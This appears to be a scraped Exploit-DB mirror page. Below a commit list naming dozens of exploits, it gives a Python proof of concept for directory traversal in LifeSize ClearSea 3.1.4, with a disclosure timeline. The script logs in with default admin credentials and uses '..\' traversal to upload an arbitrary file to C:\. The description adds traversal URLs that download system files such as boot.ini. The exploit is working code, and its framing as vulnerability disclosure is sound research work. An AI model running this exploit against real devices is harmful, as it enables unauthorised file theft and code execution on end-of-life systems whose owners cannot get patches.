813a3efbb5
20 changes to exploits/shellcodes Allok QuickTime to AVI MPEG DVD Converter 3.6.1217 - Buffer Overflow Jnes 1.0.2 - Stack Buffer Overflow Socusoft Photo 2 Video Converter 8.0.0 - Local Buffer Overflow netek 0.8.2 - Denial of Service Cisco Smart Install - Crash (PoC) Schneider Electric InduSoft Web Studio and InTouch Machine Edition - Denial of Service Linux Kernel < 4.17-rc1 - 'AF_LLC' Double Free Linux Kernel 2.6.32 < 3.x.x (CentOS) - 'PERF_EVENTS' Local Privilege Escalation (1) Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1) Adobe Reader PDF - Client Side Request Injection Windows - Local Privilege Escalation Apache Struts Jakarta - Multipart Parser OGNL Injection (Metasploit) Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - 'Jakarta' Multipart Parser OGNL Injection (Metasploit) Adobe Flash < 28.0.0.161 - Use-After-Free Norton Core Secure WiFi Router - 'BLE' Command Injection (PoC) GPON Routers - Authentication Bypass / Command Injection TBK DVR4104 / DVR4216 - Credentials Leak Call of Duty Modern Warefare 2 - Buffer Overflow Squirrelcart 1.x.x - 'cart.php' Remote File Inclusion Squirrelcart 1.x - 'cart.php' Remote File Inclusion Infinity 2.x.x - options[style_dir] Local File Disclosure Infinity 2.x - 'options[style_dir]' Local File Disclosure PHP-Nuke 8.x.x - Blind SQL Injection PHP-Nuke 8.x - Blind SQL Injection WHMCompleteSolution (WHMCS) 3.x.x < 4.0.x - 'cart.php' Local File Disclosure WHMCompleteSolution (WHMCS) 3.x < 4.0.x - 'cart.php' Local File Disclosure WHMCompleteSolution (WHMCS) 3.x.x - 'clientarea.php' Local File Disclosure WHMCompleteSolution (WHMCS) 3.x - 'clientarea.php' Local File Disclosure Ajax Availability Calendar 3.x.x - Multiple Vulnerabilities Ajax Availability Calendar 3.x - Multiple Vulnerabilities vBulletin vBSEO 4.x.x - 'visitormessage.php' Remote Code Injection vBulletin vBSEO 4.x - 'visitormessage.php' Remote Code Injection WordPress Theme Photocrati 4.x.x - SQL Injection / Cross-Site Scripting WordPress Theme Photocrati 4.x - SQL Injection / Cross-Site Scripting Subrion 3.X.x - Multiple Vulnerabilities Subrion 3.x - Multiple Vulnerabilities Ciuis CRM 1.0.7 - SQL Injection LifeSize ClearSea 3.1.4 - Directory Traversal WordPress Plugin Activity Log 2.4.0 - Cross-Site Scripting DLINK DCS-5020L - Remote Code Execution (PoC) Apache Struts2 2.0.0 < 2.3.15 - Prefixed Parameters OGNL Injection
72 lines
No EOL
3.1 KiB
Python
Executable file
72 lines
No EOL
3.1 KiB
Python
Executable file
'''
|
|
Tittle: LifeSize ClearSea 3.1.4 Directory Traversal Vulnerabilities
|
|
Author: rsp3ar <lukunming@gmail.com>
|
|
Impact: Remote Code Execution (Post-Authentication)
|
|
Recommendation: Use strong password for default 'admin' user and secure management access to the device. Please consult vendor for replacement/alternative solutions.
|
|
Timeline:
|
|
- 01.29.2018: Open Case 00302227 to notify the vulnerabilities.
|
|
- 01.30.2018: Got notified product is EoL as Jan 14 2017 and no longer supported.
|
|
- 02.05.2018: Open Case 00302876 to notify the intention of disclosure.
|
|
- 03.02.2018: Notify the tentative date for disclosure.
|
|
- 03.07.2018: Contacted by LifeSize and discussed the detail of vulnerabilities & discloure.
|
|
- 03.31.2018: Public Disclosure
|
|
|
|
|
|
Description
|
|
========================================
|
|
LifeSize ClearSea is a client/server solution for desktop and mobile video collaboration.
|
|
|
|
Version 3.1.4 has been End of Life since Jan 14 2017, and suffers from directory traversal
|
|
vulnerabilities. After authenticated as admin on Control Panel, attacker will be able to
|
|
1) Download arbitrary file; 2) Upload arbitrary file (leading to code execution).
|
|
|
|
1. Arbitrary file (boot.ini) download via directory traversal vulnerabilities
|
|
http://x.x.x.x:8800/smartgui/media/ClearSea/smartgui/media/ClearSea/?guiID=CDRS_BROWSE_GRID&actionID=DownloadAll&rowIDs=../../../../../../../../../boot.ini
|
|
http://x.x.x.x:8800/smartgui/media/ClearSea/smartgui/media/ClearSea/?guiID=LOGS_BROWSE_GRID&actionID=DownloadAll&rowIDs=../../../../../../../../../boot.ini
|
|
|
|
2. Arbitrary file upload
|
|
Below POC will create test.txt under C:\
|
|
'''
|
|
#!/usr/bin/env python
|
|
|
|
import sys
|
|
import requests
|
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
|
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS = 'RSA+AESGCM:RSA+AES:RC4-SHA'
|
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
|
|
|
# Update target URL and credentials
|
|
TARGET = "http://127.0.0.1:8800/"
|
|
USERNAME = "admin"
|
|
PASSWORD = "admin"
|
|
|
|
LOGIN_PATH = "smartgui/"
|
|
UPLOAD_PATH = "smartgui/upload/-m-ClearSea-c-DHP_PKG_UPLOAD_FORM-w-filename/cfcyvcffiv/"
|
|
TEST_FILE_NAME = "test.txt"
|
|
|
|
print("[*] Authenticate with %s..." % (TARGET))
|
|
cookies = {}
|
|
# Get rootSessionID
|
|
r = requests.get(TARGET, verify=False)
|
|
cookies["rootSessionID"] = r.cookies["rootSessionID"]
|
|
# Get smartguiSessionID
|
|
auth_data = {
|
|
"smartGuiAuthenticate": "t",
|
|
"email": USERNAME,
|
|
"password": PASSWORD
|
|
}
|
|
r = requests.post(TARGET + LOGIN_PATH, data = auth_data, cookies = cookies, verify=False)
|
|
if r.cookies.get("smartguiSessionID") == None:
|
|
print("[!] Invalid Username or Password")
|
|
sys.exit()
|
|
cookies["smartguiSessionID"] = r.cookies["smartguiSessionID"]
|
|
print("[*] Authentication is successful!")
|
|
|
|
print("[*] Create remote file C:\\%s..." % (TEST_FILE_NAME))
|
|
files = {
|
|
"SmartGuiUploadField": (TEST_FILE_NAME, "This is a test file")
|
|
}
|
|
r = requests.post(TARGET + UPLOAD_PATH + "..\\" * 8 + TEST_FILE_NAME, files = files,
|
|
cookies = cookies, verify=False)
|
|
if r.status_code == requests.codes.ok:
|
|
print("[*] Remote file C:\\%s has been successfully created" % (TEST_FILE_NAME)) |